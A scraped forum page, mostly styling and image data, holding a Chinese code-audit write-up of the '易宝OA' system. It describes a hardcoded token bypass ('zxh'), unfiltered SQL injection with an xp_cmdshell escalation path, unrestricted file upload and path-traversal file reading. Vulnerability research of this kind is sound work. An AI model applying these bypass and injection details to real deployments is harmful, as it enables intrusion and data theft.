translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">易宝OA代码审计</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/47>渗透测试</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
某oa代码审计
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>简介
|
||||
==
|
||||
|
||||
这次是一次网盘搜索找到的代码。原本因为要下载一些资源顺手充了个网盘会员,结果发现意外的发现网盘搜索出来的资源还挺丰富。于是便开始搜索一些源码。。。
|
||||
|
||||

|
||||
|
||||
然后安装完毕之后进入web目录中,将web目录单独打包出来。
|
||||
ps: 由于源码貌似是个备份文件,所以不是很完整,缺少数据库文件源码无法本地安装。(痛点)
|
||||
|
||||
找到关键的dll文件,放入dnspy然后导出工程方便之后在vs中打开查看。首先拿到.net源码应该查看webconfig文件。在webconfig文件中可以找到重要的dll,比如web的Controller是哪个dll的。这里不多赘述,详情可看msdn文档,非常之详细。
|
||||
|
||||

|
||||
|
||||
### 0x01 逻辑缺陷
|
||||
|
||||
首先是身份认证逻辑的缺陷,对于用户身份的识别程序没有选择传统的session中判断用户是否登录,而是要求用传递一个token的值,通过判断token值是否等于某字符串来进行一个登录的校验。这个漏洞也将作为基础导致了接下来的一系列未授权漏洞的出现。
|
||||
|
||||

|
||||
首先看到代码 **base.IsAuthorityCheck() == null** 判断了登录状态是否为空,这里可以跟进**IsAuthorityCheck**函数看看具体的判断逻辑。
|
||||
|
||||

|
||||
|
||||
因为条件**base.IsAuthorityCheck() == null** 判断了是否为空,那么我们只需要让**IsAuthorityCheck**返回一个非空的值就可以了。根据逻辑往下走,发现`byValue == “zxh”` 的时候会返回一个UserInfo对象,那么也就是返回一个非空值。
|
||||
|
||||
回看到第25行,跟进`getByValue`函数
|
||||
|
||||

|
||||
|
||||
getByValue函数如下:
|
||||

|
||||
|
||||
这段代码是Web中用于从请求的参数中获取特定值。解释一下:
|
||||
|
||||
1. `base.Request.Properties["MS_HttpContext"]`:这部分代码通过基类的Request对象获取一个名为 "MS\_HttpContext" 的属性,该属性用于存储HttpContextBase对象。
|
||||
2. `(HttpContextBase)`:这是一个类型转换操作,将上一步获取的属性值转换为HttpContextBase类型的对象。`HttpContextBase`是.net中的http类,简单看成是一个http请求即可,详情:[https://learn.microsoft.com/zh-cn/dotnet/api/system.web.httpcontextbase?redirectedfrom=MSDN&amp;amp;view=netframework-4.8](https://learn.microsoft.com/zh-cn/dotnet/api/system.web.httpcontextbase?redirectedfrom=MSDN&amp;view=netframework-4.8)
|
||||
3. `.Request[value]`:最后,从上述转换后的 HttpContextBase 对象中获取名为 "value" 的请求参数的值。value是刚刚传递过来的参数,也就是25行的token。
|
||||
|
||||
因此,整体来说,这段代码是从 HTTP 请求的参数中获取名为 "token" 的参数。然后判断参数是否是zxh,如果是则返回一个UserInfo对象,然后通过身份认证。也就是说和cookie,session等身份认证不挂钩,登录判断只需要有token字段并且内容是zxh即可。
|
||||
|
||||
&gt; 这也是api中常见的安全问题,因为有时候api确实不好做登录验证,常常都会使用一个字段去判断是否登录,但是如果这个字段是静态的,固定不变的则可能引发未授权访问等一系列安全问题。
|
||||
|
||||
### 0x02 sql注入
|
||||
|
||||

|
||||
绕过了token验证之后,程序从http中获取了sqlParamenters参数,然后再次判断sqlParamenters是否为空如果不为空就执行ExecuteSqlForSingle函数。其中sql参数则是要执行的sql语句。
|
||||
|
||||

|
||||
其实到这里可以选择跟进或者是不跟进,因为如果跟进的话,还需要分析另外的一个dll。一般情况下我都是会直接试一下poc,如果能够运行成功,那么则不跟进,反之则跟进函数看看是否存在一些过滤。像这种看样子是没过滤的,可以尝试直接试一下是否存在注入。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
可以看到确实存在sql注入,能够直接执行sql语句。
|
||||
|
||||
#### 后话:
|
||||
|
||||
如果想跟进看看具体原理就是找到这个Service的dll。
|
||||
|
||||

|
||||
|
||||
然后找到systemService的ExecuteSqlForSingle函数
|
||||
|
||||

|
||||
|
||||
然后跟进ExecuteScalarSQLToObject可以发现没有任何过滤,直接执行sql语句。
|
||||
|
||||

|
||||
|
||||
#### 题外话:
|
||||
|
||||
还能够看看webconfig文件的sql配置,如果默认用户是sa的话,可以通过sa这个用户直接使用xp\_cmdshell直接执行windows cmd命令。这也是.net中比较有意思的一点,注入有时候就是rce。因为.net大多数都是用sql server作为数据库,而sql server有个xp\_cmdshell可以执行系统命令。
|
||||
|
||||
### 0x03 文件上传1
|
||||
|
||||
对于.net的文件上传来说可以通过一些controller命名的方式寻找突破口,比如很多开发都习惯性命名为fileController表示文件操作的控制器,比如uploadController,fileController,downloadController等等命名的Controller就是极好的一个突破口,很容易能寻找到各种文件操作的控制器。
|
||||
|
||||

|
||||
|
||||
这套源码就存在了一个较为常见的文件上传。通常oa系统都会需要上传一些文档比如xls表格或者word,pdf等附件之类的用于办公需求,但是如果没有对后缀名进行过滤,那么就会造成黑客通过文件上传漏洞获取服务器权限。
|
||||
|
||||
比如代码如下Upload函数,token已经通过漏洞1的逻辑缺陷进行了绕过。然后程序获取了FileName以及fs两个参数,其中fs就是文件的内容。
|
||||
|
||||
fs经过了JsonConvert的反序列化,将字符串内容转换成了Byte数组。
|
||||
|
||||

|
||||
|
||||
跟进Upload函数,发现FileName就是传递过来的文件名。最后作为一个path给到文件流,文件流最后会写入成真正的文件。
|
||||
|
||||

|
||||
|
||||
MemoryStream 是一个在内存中创建和操作字节流的类。它继承自 Stream 类,提供了读取和写入字节数组的方法,可以方便地进行内存中的数据操作。也就是说我们传递的http参数fs将会以byte编码的方式传递到fs变量fs变量经过了MemoryStream然后写入到文件。
|
||||
|
||||
比如http传入的是\[97,97,97\]这个byte数组那么经过MemoryStream写入文件就是aaa的形式,因为a的ascii码是97
|
||||
|
||||

|
||||
|
||||
然后a.txt只是为了省事随便写的,实际上是由http参数传递过去的。现在看看真正的效果。
|
||||
|
||||

|
||||
|
||||
访问发现
|
||||
|
||||

|
||||
|
||||
### 0x04 文件读取
|
||||
|
||||
同文件上传类似,基本上一个Controller某个方法如果没有任何防护,基本上整个Controller都没有防护。比如对上传的文件名没有做任何限制,那么对于文件读取的文件名大概率也是没有任何限制的。任意文件读取危害可大可小。任意文件读取在某些情况下危害是同等于文件上传的。比如某些api是对上传没有任何限制但是只限于后台文件上传,这个时候可以用任意文件读取读取数据库的备份文件从而寻找密码进行getshell。还有java的一些文件读取,比如java应用使用了shiro组件的同时还存在任意文件读取漏洞,那么攻击者完全可以通过读取java的shiro的jar包获取shirokey进行getshell。也可以通过读取ssh密钥(需要高权限)等等方式去进行利用。
|
||||
|
||||
程序代码如下:
|
||||
|
||||

|
||||
|
||||
通过requestFileName参数作为文件名然后去读取文件。可以看到虽然限制了文件夹路径,但是并没有过滤掉../的方式,还是可以通过../的方式去对目录进行跨越从而造成任意文件读取。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
跟进getBinaryFile
|
||||
|
||||

|
||||
|
||||
然后读取文件。
|
||||
|
||||
</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h1 blockindex=0>简介</h1>
|
||||
<p blockindex=1>这次是一次网盘搜索找到的代码。原本因为要下载一些资源顺手充了个网盘会员,结果发现意外的发现网盘搜索出来的资源还挺丰富。于是便开始搜索一些源码。。。</p>
|
||||
<p blockindex=2><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=3>然后安装完毕之后进入web目录中,将web目录单独打包出来。<br>
|
||||
ps: 由于源码貌似是个备份文件,所以不是很完整,缺少数据库文件源码无法本地安装。(痛点)</p>
|
||||
<p blockindex=4>找到关键的dll文件,放入dnspy然后导出工程方便之后在vs中打开查看。首先拿到.net源码应该查看webconfig文件。在webconfig文件中可以找到重要的dll,比如web的Controller是哪个dll的。这里不多赘述,详情可看msdn文档,非常之详细。</p>
|
||||
<p blockindex=5><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZwAAAFhCAYAAABETRz+AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOy9e3RU15ng+zulUukt9OIpRBEw0DV9e5q0pcB4ZGZR48ZoTUcrwk0uC0XEMLNCNO04UmzmjtVGMy0SpWdIIrWbbpncHkhQRHtCDFnKzOXR7mIGq4kw5e7M+OaqQYZQLssGI/RAb6ke949T56jeKj3Q8/utpaWqs/fZ5zuP2t/5Hntv5emnn/YSBa8HFAVGBr189skIK1YmkpAKXsWDohh8dbwoBgWvGwYfQ3dPPytWpWJKBBS1nYefPeTBZw/0dg0GAx6PR/+/bt060tLSuH//Po8ePVLb9aqiKYqC1+tFURR++7d/G7fbzT/+4z+yefNmvF4vbrcbj8dDQkICcXFx9Pb2ApCRkQHAr3/9a3JycgBwu93Ex8ejKAqdnZ381m/9FoqiRLsEgiAIwgxg1D5onXs4PG4YGXaRYIrHlOzF6wUUBY/HrSodZXz/pGTo6oLRIS/xCb628ZK9PJu09DTu3r3LqlWryMzMpL+/n46ODuLi4khLSwNg5cqVLF++nLi4OAYHB3E4HGzZsiVAPq/Xi9frJT4+Hq/Xi9PpxO12k5ubi8fjQVEUPB6PKrvHg9frJSsrC6PRyL1791i1ahWKotDV1YXL5SIuLk6UjiAIwhPGCOPKIvg/gGcMujrHGB5yY8DIfacBt2eUlWsSMZjA6/WAv64ygIKBx70juFxxpGYZ8CrQ/egRDx8+JCMjg/v37/PggWrtpKSkkJWVhdPpZM2aNQwMDPDpp5+iKAqKomAymbh79y4ej4exsTEsFouuTO7evcvQ0BCKorBy5UocDgfLly8nOTmZ4eFhPB4P3d3dKIrCZ599hsFgwGQycf/+fQwGA263m97eXjIzM6MqXEEQBGHqaC/0Rn8lo1kD2neArs5RXKOqW82UAG63C4/HQ+dnQ2TlmFCMYVo3uHC5oL8fkpcl4lUgNTWN0dFRTCYTy3OW+6RQLZDR0VGys7PxuFVFkpWVpbrDvOguubGxMe7du4fb7cbtdgOQm5tLR0cHg4ODupJKTk7G7Xbj9aiutvT0dD777DNWrFiB2+2mv7+fZcuW0d3djdfrJT0tXW9PEARBmFk0ZaMoyriF4/F49D/NZYUXRoZGAEhNTyIpxQ0KDPQp9D8e48GDEXKWJ0HceONeICPLSG/3KGMjXlyjLoiD/v5+enp6dJdXMOvWrUNRFFwuF729vQwPDwfEcNxuN16vF5fLhcvl0mM3o6OjGI1GkpOT6e3tpbe3F5PJhMs9Xi8xMVFvNzExkbGxMTo7OwFwuV1P8loLgiAsaTRvlcFgQPn85z/v1RSN5Zv/NaBia83uSTdus9mwWq369+3Vl6K2GVyu1ZnMfv5lf/mXfwnAv/23/zakXcehj0K2mU+tC1sWbrv51LqQ7/51/Mu1suDyybYZqa1YyoLLw8kSXBZp+0TyTeYcJttmOJmCn7NI22ab4Ocy3HOqbfMvD/fMh9snXBnMj3MXhIlQPv/5z3s1N1VfX9+MNCoP/8IkksKZr/g/Z0v5mVvK5y4sLJStW7d6PR4PLpeL/v7+uZZHmGWiWSGCIAgziR7DkSytpYko